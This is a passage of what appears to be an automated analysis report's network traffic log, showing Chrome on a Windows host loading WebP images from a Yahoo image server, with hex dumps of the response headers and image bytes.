2024-04-27 22:41:49 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 52 49 46 46 88 34 00 00 57 45 42 50 56 50 38 20 7c 34 00 00 70 d5 00 9d 01 2a 64 01 b4 00 3e 79 32 93 46 24 a3 21 a1 30 14 ad 50 90 0f 09 40 17 fc 86 05 86 f5 71 18 bc a3 e3 1c 81 af 60 ef dc c0 fe 2f be e7 fe 0f 59 3f d6 b7 86 7f 7f f4 2f e7 25 ea 23 fd 0f a4 cf 55 07 a2 07 9d 27 ad 77 f8 8c 99 69 33 f1 27 f8 fe 08 fe 77 f6 af f9 fd 6b 2d f7 69 3f da 7f 90 ff ff fe 9f b5 2f ee 3b e7 fa 19 a8 47 9f 3d 42 e0 82 e2 fc 24 f0 d3 fa ef fe ba f3 9f c7 e8 9b ff e7 cc ff f0 df fc 3d 5c ff e5 23 b4 11 79 f3 88 ce ed 74 6a 34 45 1f 7f 31 67 c6 25 65 16 d3 ec 1d 54 2c 82 4d 4b f3 5e 03 fe ec e9 d7 83 db 2f 86 a0 3b e1 be 98 44 4a 4f 44 22 28 93 36 9f 8d b0 5d 7e 1b 12 b0 82 20 df 52 04 3d f2 93 c5 70 dc 6e ef fb 16 d1 b3 fe 34 3f 49 a0 21 ca 12 9e 94 6b a3 77 74 2b Data Ascii: RIFF4WEBPVP8 \|4p*d>y2F$!0P@q`/Y?/%#U'wi3'wk-i?/;G=B$=\#ytj4E1g%eT,MK^/;DJOD"(6]~ R=pn4?I!kwt+
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: ef 73 9b 3b 8f 3b df d7 d9 94 e4 ee 0c e1 17 89 bb 34 53 f4 47 b0 79 eb 65 f8 d3 27 c5 16 cc 0e 9a ca 90 58 b1 b7 00 ec 03 e7 50 c5 ee 69 2f 97 44 0b b1 52 92 cd 85 a5 3c 36 b5 55 0d 7c ac af b5 48 5f ac 3b 84 94 59 2d 72 7d 40 e9 c4 ce 50 51 f5 fd 01 16 dd 62 0c 1e 04 31 07 4b 39 07 e8 92 0e a8 23 37 c1 2e 34 bb b2 cd 14 19 0f 93 48 ff 5d e6 5e ee 45 4d b2 79 31 7d 51 0b 36 77 06 52 b4 b3 07 e4 9d ac 5f 19 60 d4 95 45 15 4d f1 a0 7d c1 f4 17 73 4a 57 a0 7b b5 51 c5 b4 ed 47 ce e0 2a b4 42 74 1c f0 58 ae 7b 9b b4 58 a4 6f cd d3 3c 83 23 02 51 ad ea f9 8f 13 f5 f0 61 cd 58 37 00 96 b4 a5 83 91 69 46 9a 16 26 a8 ee 53 4b 3c 2d b9 7b e3 a7 5a 17 c1 2e 10 d0 ed 30 ec b1 d5 0f 97 9d d3 5a e0 3b 8a b8 fe f2 30 e3 0f 26 be 3a 2f bb b0 b6 a0 26 43 f7 4d d6 9d 56 Data Ascii: s;;4SGye'XPi/DR<6U\|H_;Y-r}@PQb1K9#7.4H]^EMy1}Q6wR_`EM}sJW{QG*BtX{Xo<#QaX7iF&SK<-{Z.0Z;0&:/&CMV
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 36 a3 8b f1 ee e1 ab 96 ab ec b5 5f 5f 4a 4a e7 06 6a f8 37 67 38 aa 5c 29 6f 70 7c f7 52 04 3a e1 20 44 35 11 de a6 80 7d 71 06 00 9e 58 33 d8 87 9e f0 43 a3 9e 50 ff 9b 4b 2b 13 38 60 b7 10 0b 15 5e b3 3a 08 78 d8 ba cf d2 9b b4 a2 68 55 d8 84 9f 2d 4d 56 54 65 4a d7 2e 74 3f 13 cd 9b 65 7b a8 d7 3d 84 e0 1f f4 b9 1f 45 13 4b cd 70 ac ea b3 a6 9c b1 bb d3 13 8a e2 56 85 b3 6f 18 23 12 37 8e e9 0c dd d2 d4 db 81 10 9d da b8 8d 83 18 4f 03 1f 6e 43 f9 b8 15 63 d1 d2 c0 64 60 51 dc 51 0d 6d a6 f9 1d d5 63 a7 a1 74 4b bb 39 b0 53 c3 f1 cb b3 a4 b7 50 7a 1f 6a ca 96 4e 6c 18 a4 62 3b 43 f5 d4 13 83 33 81 74 9b c3 d9 be b4 13 8a c8 ff 82 3b 60 a5 c8 80 de e7 b2 e7 f4 76 04 77 43 e5 c1 3c 6f 7f 2f e8 fa 2c 4a 1e b9 d2 3e 11 c6 1c eb 0e 81 72 f0 93 8c 48 e9 2f Data Ascii: 6__JJj7g8\)op\|R: D5}qX3CPK+8`^:xhU-MVTeJ.t?e{=EKpVo#7OnCcd`QQmctK9SPzjNlb;C3t;`vwC<o/,J>rH/
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 6b 2f e9 00 3c 0c 17 9b 60 e8 67 c9 5b d5 51 66 06 c9 e0 12 24 1c d6 83 6a df 48 fb 6f ba e9 72 c0 db ad 20 8d b1 de b1 43 7a dd 79 1b 13 18 fe 05 ab e4 94 f8 ab ce 65 14 b0 f8 14 43 4c d3 a2 af 4b 31 67 c7 78 97 2a e2 91 8e b0 d2 35 0a b7 eb 01 ff 82 46 c2 fd 97 4b 2e 5a 91 0b af 7e da 8d a4 6d 44 93 6d 2a 9e 59 30 37 04 95 80 65 dc 89 5b 8f 9b a7 4a 65 b6 e8 f3 be 15 cd aa e1 1d 58 5c 74 fb fb 75 ee cf a3 de d9 ad 68 6b 67 b0 87 74 d1 d1 1f 9c f9 c1 2a ef 6e 50 7c d7 60 b5 4e 5f 67 af 31 1c 5b 4b 05 ef 0b 7a 0b 0b fe 81 b6 d9 e0 39 d3 20 49 a4 96 ec a3 02 77 ae bb 1c 78 d3 b1 f8 c9 c3 00 01 56 79 59 1d cd 92 be 7c 3e 97 a9 8d 30 28 5b bf 02 51 fb f1 2a f8 f5 2f ab ba 8c bf 61 41 ce a9 b5 12 73 e5 30 9b 23 c1 bd 11 c1 52 56 0d bb 47 74 a5 b5 74 03 0f b9 Data Ascii: k/<`g[Qf$jHor CzyeCLK1gx5FK.Z~mDmY07e[JeX\tuhkgtnP\|`N_g1[Kz9 IwxVyY\|>0([Q/aAs0#RVGtt
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: b3 16 04 5b 04 7e cd a8 f9 11 8e 44 47 c2 de a9 35 5b d4 19 82 2f dc d5 bc db 75 ce 82 6d a7 e8 b7 ef 79 76 49 44 7b 65 f7 68 a6 3b 56 72 b7 f0 8b b1 d7 aa d3 fd 15 de d7 a2 01 c5 2d 8a 31 cc 0b 96 a1 d3 4f 22 47 17 a9 58 3c 83 25 0b a5 c4 05 27 72 00 c3 44 7f d4 c9 f5 89 17 69 7d ed 99 0f 42 5c 0b 2d ee 95 f3 fd 25 74 16 d8 ee ca e4 63 34 f6 8d e0 d8 73 71 cd fd 33 9f 63 8c bf 18 d0 0e 46 c8 45 63 c8 a4 f7 87 47 27 cb 70 54 16 68 8c 64 ad ab 0c 15 49 86 5b 07 89 30 10 0e 5c ce 44 91 f2 7e 03 67 6a ec dc a1 d5 52 44 e3 a5 b1 16 20 61 d9 9f 85 3d 8e b3 1c 77 60 33 94 16 62 9e 7b d7 1c 69 31 42 2c 3d 4c 05 b3 cb 45 f9 4e 55 03 28 70 26 fa 02 53 57 66 e6 5a 2e bc e6 a3 ec 5a 6d 98 67 e9 29 8c a3 d2 17 ec 43 31 24 23 e6 e6 55 83 07 9a 48 08 9e 69 d0 97 b5 c5 Data Ascii: [~DG5[/umyvID{eh;Vr-1O"GX<%'rDi}B\-%tc4sq3cFEcG'pThdI[0\D~gjRD a=w`3b{i1B,=LENU(p&SWfZ.Zmg)C1$#UHi
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: f0 b2 6c 24 9a c0 fb 35 f0 c1 17 53 65 2e 82 6d fb 26 da a3 ac d7 1a b5 7d 2d a9 ce 4a 00 d8 00 ab af ee 9a 87 da 10 53 6b a4 ee 0e 3f d1 55 f6 08 eb 35 37 33 10 ee 38 c6 c2 cc 78 b9 6f 32 59 b9 14 4d 3b 44 86 a9 c7 bd c7 e4 56 2c 93 c0 50 1b 9e 7d 6e 56 bc ea f7 b2 e3 e8 31 05 ec fe 08 9f 77 82 49 53 b8 47 d6 fd b8 38 cf cb 5d 25 bd 3e b6 05 5b 74 9b 75 40 82 9f 60 3b be 4d ad 1e 59 64 cf ce a0 d1 98 ac 60 9c ba cd 43 bb e2 dc be df 32 26 2b 57 80 27 0f 63 a5 cd 8f 8f a6 8e d7 b8 5c bc 94 16 fe 4e 16 f7 a3 35 14 71 28 06 a6 34 4d 8d 21 20 3e 87 e4 d6 13 2c 0f 16 2f 1b bc c1 af c0 3f da 9e 55 a7 10 f7 c1 a3 3e d9 8e 35 73 57 35 46 37 91 4e d0 dd 58 dd cf b8 ca 65 f3 d1 4a 11 4c df b0 f9 fd dd 10 0a f6 a3 f8 be 00 cd 97 3a a4 bb d1 d3 2c 24 a8 a6 6a e6 52 Data Ascii: l$5Se.m&}-JSk?U5738xo2YM;DV,P}nV1wISG8]%>[tu@`;MYd`C2&+W'c\N5q(4M! >,/?U>5sW5F7NXeJL:,$jR
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 33 4e e7 af 8a 83 cc aa 0c c8 6d 1c 24 28 4f 91 e8 a7 2a 14 3b a0 95 4b bd 4e 3a 11 8c 7e 87 1b c0 36 3a 7b 21 65 a3 a5 82 37 e4 d8 e3 72 b0 34 01 4d ee f3 be 91 0e 6e b8 ea 13 ef b8 91 2a 69 13 7c da a7 c3 61 4e f4 65 66 28 a7 02 a8 c5 5c a7 87 5a d2 48 01 65 a1 cd 1a b5 c0 5c 86 b9 1e 1d 94 4b db c3 1b 5d f1 7e 5f 91 74 1d 78 8f f8 4f c0 94 bc d2 1c 8a 6e 90 fb 2e e3 2e b5 2f 19 ab 5d 03 50 31 f6 4c d9 9a e9 7a 50 5d 58 e9 91 d4 51 60 f3 55 1a 46 f6 7a 87 5d 23 4c ce 55 76 55 46 dc 06 c7 96 c7 5f 3e d6 d2 cb 4c 93 d9 fe 34 49 36 c6 f5 53 b4 3c d2 9e 7a 17 02 d8 3f 97 a8 56 52 68 02 b7 fd 7e 7e 69 31 19 15 7f 2e fb 83 7a 88 3f 03 4a 6f a2 b1 60 7f 0d a2 bb 57 19 ef 8d 9b 29 dc f6 05 97 e3 dd 8d ca 5e c7 b1 5d 08 2b e5 2c b9 b1 71 89 40 41 43 0a 7a 59 7f Data Ascii: 3Nm$(O;KN:~6:{!e7r4Mni\|aNef(\ZHe\K]~_txOn../]P1LzP]XQ`UFz]#LUvUF_>L4I6S<z?VRh~~i1.z?Jo`W)^]+,q@ACzY
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 38 7a b8 de c6 64 ac 24 b6 4d a3 b4 df 16 2d 87 2a 07 a7 01 00 eb 86 fe 3d f0 00 7c 62 66 f4 16 fd 9b 2a bf 35 64 63 f8 58 a6 32 e8 87 39 e9 d4 db 0f c2 20 f8 60 b3 de a6 5f 0e d9 62 87 c8 42 60 b2 a7 e6 ae 03 24 73 74 fb 57 e6 9c 46 fa a1 8a d3 61 69 b4 32 c0 91 68 db dc 82 fb b2 b4 c6 c6 da 03 95 3e 44 0f a3 8e cf de b3 da 2f 0a 6c 35 86 9f 93 0f f1 0c 6d 0f b3 39 50 2f 8a 53 b9 19 79 3a 74 4a 99 5b a4 8e c1 d6 c3 e8 84 cd 93 39 f9 2a d4 6d 2d 8c 82 a1 bb 37 29 a0 0c 79 1d d3 21 ad 73 12 65 d0 63 0e 82 1c f0 22 cc ee f6 74 8c dc cd a8 02 7b a6 74 92 28 44 17 99 92 2b 60 cb 3f d1 42 73 be b1 da 2d 7e 77 05 cb 41 91 54 d8 39 e1 1a f1 b4 cc dc 59 d6 d1 75 50 69 f2 31 d8 12 75 c5 d9 0e 4e ef b0 0b 24 a0 b7 40 61 6d e5 ff ca 4e 4c 39 85 c3 2b 4f ba 39 9c ce Data Ascii: 8zd$M-=\|bf5dcX29 `_bB`$stWFai2h>D/l5m9P/Sy:tJ[9*m-7)y!sec"t{t(D+`?Bs-~wAT9YuPi1uN$@amNL9+O9
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 6d 43 bb f6 fa c1 97 3e cc ae 14 07 7d a8 c6 0c f5 d6 80 e5 e9 c0 62 27 a3 80 78 ed 85 18 fa 1a 22 62 59 a7 05 f6 a0 0c 0a 4f 80 41 cf af 60 4e c8 0e d3 86 c8 b1 77 df e8 d4 3d b7 df a7 53 b6 3c de 32 cc dd e6 ad 68 f9 d1 70 33 ff 28 8f bf c6 d6 ce c0 bd d2 eb ce 78 ef 23 b7 76 e6 22 08 87 82 50 bb 6e 92 7c df e9 d7 fb 59 da 67 1d d8 18 05 32 b3 ee 3a 0b 2b 32 7b 0b 28 66 3c 30 54 9f d4 3a 4e 85 58 9d cb aa f8 4b 3a 3f 4c 60 42 86 b0 a7 9a 14 49 92 c3 78 d7 c8 24 04 b1 73 51 46 bb 1e c3 de 1c a3 4e 77 3d 5e 25 98 b0 b5 84 db 73 ec c1 f8 6b a9 b9 70 b4 be b2 70 47 0b 70 c5 f5 f1 5c 71 65 2a 05 8a cd 7a ee 46 12 75 b0 52 de 6c 33 55 d3 05 e3 68 46 6d 19 c2 30 f6 16 77 2b 9c 8b f5 50 27 36 04 db 8c 50 a0 b0 c6 0b 77 e0 8f bf d8 70 2d 25 6d 63 76 b8 00 05 8b Data Ascii: mC>}b'x"bYOA`Nw=S<2hp3(x#v"Pn\|Yg2:+2{(f<0T:NXK:?L`BIx$sQFNw=^%skppGp\qe*zFuRl3UhFm0w+P'6Pwp-%mcv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49799	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:49 UTC	763	OUT	GET /uu/api/res/1.2/ONe9Ngr.AKVsKd88e7UP.Q--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/afe25c90-04a4-11ef-97bf-b18c6d9d8b4e.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:49 UTC	1200	IN	HTTP/1.1 200 OK Content-Length: 10192 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 328877703447279952952452636028490862922,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="afe25c90-04a4-11ef-97bf-b18c6d9d8b4e.webp" Edge-Cache-Tag: 328877703447279952952452636028490862922,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "cf69d3bd81c39b3c786961bc0def39d6" Expiration: expiry-date="Fri, 25 Oct 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 27 Apr 2024 15:07:57 GMT Server: ATS Surrogate-Reporting: width=356,height=180,bytes=10192,owidth=4000,oheight=2253,obytes=635334,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 27 Apr 2024 15:38:27 GMT X-Served-By: cache-lga21955-LGA X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1714232307.245159,VS0,VE102 Age: 25402 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-04-27 22:41:49 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 52 49 46 46 c8 27 00 00 57 45 42 50 56 50 38 20 bc 27 00 00 f0 a5 00 9d 01 2a 64 01 b4 00 3e 79 34 95 48 24 a2 a2 21 2b 33 ac 40 90 0f 09 66 03 d2 6c c4 08 0e bc b1 cf ea 7f 2f 7d aa 6d 6f e6 bf b8 fe b6 fc a5 f9 ab e1 7f 6a f9 b1 74 17 fc 4f f0 3f 95 1f 31 ff e5 7a d1 fd 59 ff 4b dc 1f f5 43 fe 47 f8 5f 5d 2f 5c 3e 62 7f 69 ff 66 3d e0 3f e6 fe e2 fb bf ff 1d ea 09 fd 0f fc c7 ff fe c5 ff f1 7f ef fd 87 7c b6 ff 75 fe 19 bf b8 7f d1 fd c9 f6 93 ff ff ec 01 ff ff 34 33 94 1f bb f0 e7 cc c7 c9 34 5d cc 1f 68 ba 96 7c f3 f2 f6 44 39 b9 f3 4f 50 8f cd 37 73 c0 7f 5b 4e b6 cb 42 d0 33 8c b6 a2 fd 34 8e 35 51 bd cc 15 f8 90 18 4c 49 c4 76 08 c8 1d 5a 63 1a 06 39 21 77 e5 75 b4 ec 21 49 25 b5 8d fd e6 82 fb 01 5a 76 fc 78 1f 60 ce e3 00 8f 2a 0d 7e 4b 58 ee 5a Data Ascii: RIFF'WEBPVP8 'd>y4H$!+3@fl/}mojtO?1zYKCG_]/\>bif=?\|u434]h\|D9OP7s[NB345QLIvZc9!wu!I%Zvx`~KXZ
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: d2 2d bd 83 43 a8 a6 ab 99 a3 92 74 a8 17 da bc 9e b5 2b 99 01 f4 12 05 b3 37 d1 4d 4d b9 6f cf 4a a9 84 89 29 44 44 2b 73 25 28 d8 58 4f a4 ec eb bd 84 70 ae ba 0f c0 00 f9 d1 c4 d8 d9 e4 9a 4d d4 51 26 fa 66 e7 b1 01 f1 b4 a5 78 b1 45 2e 44 ee 58 5a 3b ed 8c bd de e4 57 2d 1d 58 7f 73 ef 62 27 7b 9b 3a a3 7c 82 57 5a d8 9a b3 df 4b d1 d6 ca 7a 65 0b ac 8e 65 a8 df 6d f6 30 d7 c6 aa 74 04 a9 d0 fd 1d 33 4b 19 32 61 4d ff 83 50 d1 b6 b6 fe 82 f0 cf 62 6a 93 49 e1 1f 3d 5f a9 35 27 7a 88 93 c1 d0 d4 58 01 7c 37 59 bd 28 0f 5b e9 4d fd 5a 0d 78 95 41 60 d1 24 54 cb d5 69 6e bf 70 de 78 5d 00 12 ec 37 09 29 36 30 74 ea 19 fc cd 5a 65 e8 f6 34 00 1a f8 3f e7 5a 50 ab dc 92 98 fd d2 ff 8c f6 ff 7d 9f 06 1c 8c 88 6c 90 aa 82 77 37 11 85 fd ac 70 83 6f 0b 32 8f Data Ascii: -Ct+7MMoJ)DD+s%(XOpMQ&fxE.DXZ;W-Xsb'{:\|WZKzeem0t3K2aMPbjI=_5'zX\|7Y([MZxA`$Tinpx]7)60tZe4?ZP}lw7po2
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 9c 99 80 3c 98 5e fb b7 36 ba b3 4a 40 14 a8 56 11 fd 91 42 71 76 70 e9 9a 4a c3 f1 a5 65 34 ff a0 77 6f 79 d7 8e d5 ba f5 3b ea dc 25 2e 3b b5 85 be b4 66 59 42 de c5 35 07 0e 94 83 94 12 24 f1 bc a0 18 b1 4c ba b6 08 5b 06 00 cc fe 60 56 4c 12 37 28 70 c0 89 3b 74 56 a4 82 3d 21 29 fd 31 77 bb 64 a4 55 69 4f 6f 44 de e5 51 4d 75 80 4b ba 16 ec 0c d0 ae b6 82 f2 a8 79 ee 48 f3 09 99 de 09 34 18 0a 18 99 22 7e 68 39 8e 77 62 c2 ea 1e 3b f8 e6 70 9e 00 07 bf a4 1e ce bb b7 8c 85 d6 4b f4 01 99 78 16 98 70 df f1 da a3 35 45 66 60 51 84 1a 67 b2 41 43 f1 bd 99 0b 48 14 f9 d6 f5 49 11 ba dd 9b 23 57 c8 b7 fc 96 fd 86 f3 08 f3 6f 69 fd 5b 40 00 ad 29 84 75 57 79 9b 71 ee 43 0e 0c 85 15 fb d6 d6 1f c1 07 93 4d 73 57 21 08 e0 a2 fc 5e af d0 ce 2f 72 69 a2 1b 77 Data Ascii: <^6J@VBqvpJe4woy;%.;fYB5$L[`VL7(p;tV=!)1wdUiOoDQMuKyH4"~h9wb;pKxp5Ef`QgACHI#Woi[@)uWyqCMsW!^/riw
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 0b 06 a7 66 f2 2c 3b 6e c9 34 2a c2 e3 4a f6 df 11 d2 88 59 22 65 dd 59 87 77 ca 8d c7 6e d6 88 16 fb 06 5b a0 3d b3 da 5c 2c a4 05 11 33 b5 24 b3 b4 94 de f9 00 27 e8 f9 82 88 84 59 e6 9b 6f 63 60 95 46 17 17 71 50 7c e1 33 a1 d8 5d c9 7c 81 c0 d6 d3 77 3c f6 c6 45 9b d3 67 6f 28 b6 b0 79 29 0d d6 6a 85 ea 12 44 b8 af 5a cd ad 0b ad 7f 4e 93 35 b4 33 8a 5c f3 e4 43 76 01 5c 7d 55 2a b4 7c c0 0b cf 7f 57 54 2a 4b fd 28 3a 53 8d 60 4d e4 41 c2 3f 8e 6a f1 d3 73 60 08 b7 33 dd 98 eb 51 31 0a f2 60 a1 66 e0 21 1d 24 9b 7d 11 10 1a d1 1e 65 73 fc c7 91 9c d5 a5 2e f1 99 77 a7 31 1d b4 dc 01 52 08 78 8f c4 94 51 d4 e6 56 1d 26 28 ef ce 98 ff 21 02 68 c1 5d 89 80 66 54 71 d7 d2 b0 f8 64 73 7f b7 91 13 25 e5 37 b9 3b f1 41 7b df 1b 0b 92 2e 6c 32 ed ac 86 31 3d Data Ascii: f,;n4JY"eYwn[=\,3$'Yoc`FqP\|3]\|w<Ego(y)jDZN53\Cv\}U\|WT*K(:S`MA?js`3Q1`f!$}es.w1RxQV&(!h]fTqds%7;A{.l21=
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: c1 6e 68 e3 ca b3 f2 c9 9a dd c5 fb 42 e0 7b bd 33 02 b4 02 e3 8d 3c ad f1 39 c2 2a 7b 72 2f 11 4c 65 84 b5 60 04 f1 22 8a 2f 0e b2 6d 4c b7 54 ad 07 29 44 62 08 f7 1d 7c 66 4b e3 1b b4 d8 45 e5 07 b4 d8 bf 65 be a2 1d ff 0d a4 04 f8 37 62 25 74 46 fd c0 6e e9 54 d7 8f 17 ef 56 4d a8 75 9a f7 1c 9f d9 ba 95 ef ce d0 53 77 73 7c 65 03 45 9d d7 50 f2 e7 3e 90 15 46 5f 36 b7 24 e5 96 7f f6 ed 8f e4 68 94 e1 ad 3b 1c 7f cf a4 05 22 91 c8 33 5a e7 c3 1b a1 0e e8 76 f0 25 8d e2 b3 e2 0c a4 96 a3 6e 88 44 55 98 4e 95 c7 ea 73 3d 21 5f 24 dd d3 8a 71 03 bf 64 68 f7 7f 08 6e e2 e9 48 63 a8 99 95 3e 77 99 90 71 7f 38 51 a9 61 83 ba af d8 cc 06 49 b0 82 5d 8a f7 90 70 57 47 43 af 58 71 bb 0e 57 26 85 a0 6e 69 84 86 f0 fb 71 a2 3d 8f 51 56 ef 13 25 04 b0 9f b4 7e a2 Data Ascii: nhB{3<9*{r/Le`"/mLT)Db\|fKEe7b%tFnTVMuSws\|eEP>F_6$h;"3Zv%nDUNs=!_$qdhnHc>wq8QaI]pWGCXqW&niq=QV%~
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 08 20 2d 38 56 c1 bf ae 6f 44 13 43 a9 0a 1d ed 1e d5 7d 0a 59 cf 47 57 59 f4 3a 9a 80 5a c6 38 31 a8 c3 f4 94 ba 0f 5d cd 75 ee 21 9e 46 bd b4 64 91 7c 31 42 70 6a ba c8 64 10 87 87 d9 58 af 4d 58 47 28 c7 81 6d dd 6d b3 85 0f c2 63 c1 5e 1c c0 3d 9b c2 19 1b bc 62 6c 2d 9a c1 2a 53 97 32 df bd c0 9d 96 e9 b4 ed c1 48 11 4b 16 a9 20 e9 84 65 0c 7a d3 c0 fa 1d 11 cf 65 c1 8b d6 26 b2 ee f5 98 27 57 e3 d7 b0 1d bf d5 7c 59 90 4a f1 1d 00 87 50 d2 ad 80 c0 bb db c7 bb c2 fd 25 eb c4 ad 78 0e 41 d7 77 a7 93 86 c8 5e 24 62 23 96 df 10 4f b4 55 10 80 bc 58 29 eb 06 79 3c 75 dd c7 05 ea 3d 0b 32 cd 31 ad 02 d7 7b 47 8f 47 f4 9b 2a 9a 40 f4 85 3e 5f 42 81 3c 1d 90 30 97 6d f6 9f 7c b1 16 dc fd 83 88 ea 9f 98 6d 97 fc de 10 ac ce 3a d3 83 5b 08 58 9a c8 a2 4b 5c Data Ascii: -8VoDC}YGWY:Z81]u!Fd\|1BpjdXMXG(mmc^=bl-S2HK eze&'W\|YJP%xAw^$b#OUX)y<u=21{GG@>_B<0m\|m:[XK\
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 7e 42 8b 9b dc 9c 74 54 e3 ff e8 62 c6 fc 8b d4 a6 fe 88 e1 27 d0 2a 4c b3 9e f6 e3 8b 14 78 60 3b 07 ba c9 6b 68 80 8e 26 80 37 6d 5e 92 5c cc 11 61 74 14 31 25 55 11 58 c1 e1 74 14 64 79 e4 19 d0 bc 67 a6 02 cf 65 f9 56 fe d7 2d ab f4 b8 8e 44 69 55 f7 32 fd d5 2f 39 8d 4a 8a 2f 39 47 73 fb 46 ad 3e c1 cb a5 ea 06 6f be d8 dd db 27 a6 14 f6 44 f2 bb 7d 07 8b a5 12 93 e3 f0 d0 57 2e 80 16 ce a6 4b 45 54 dc 8e ae 3c 66 89 31 a3 99 d3 d2 90 1b da b8 e8 bf ac 2d a5 40 3d bd 8b 02 8b bc 6a 8f 38 aa 53 44 5a 38 ce 3f 88 2b ea dd f4 00 3f be f8 44 5b 9a 34 f9 63 8d 03 f1 ac c2 6d b8 96 8f 9d 79 97 7b a8 c3 a8 d6 3e d3 61 32 13 03 c5 1d 52 77 8a 05 c3 08 20 f3 6b d4 07 a5 73 ad 2b 14 a0 6d 0d 35 89 ca 14 fe 72 0b 12 2e 40 21 9f 18 96 af 7e d9 08 8a 63 6c a9 97 Data Ascii: ~BtTb'*Lx`;kh&7m^\at1%UXtdygeV-DiU2/9J/9GsF>o'D}W.KET<f1-@=j8SDZ8?+?D[4cmy{>a2Rw ks+m5r.@!~cl
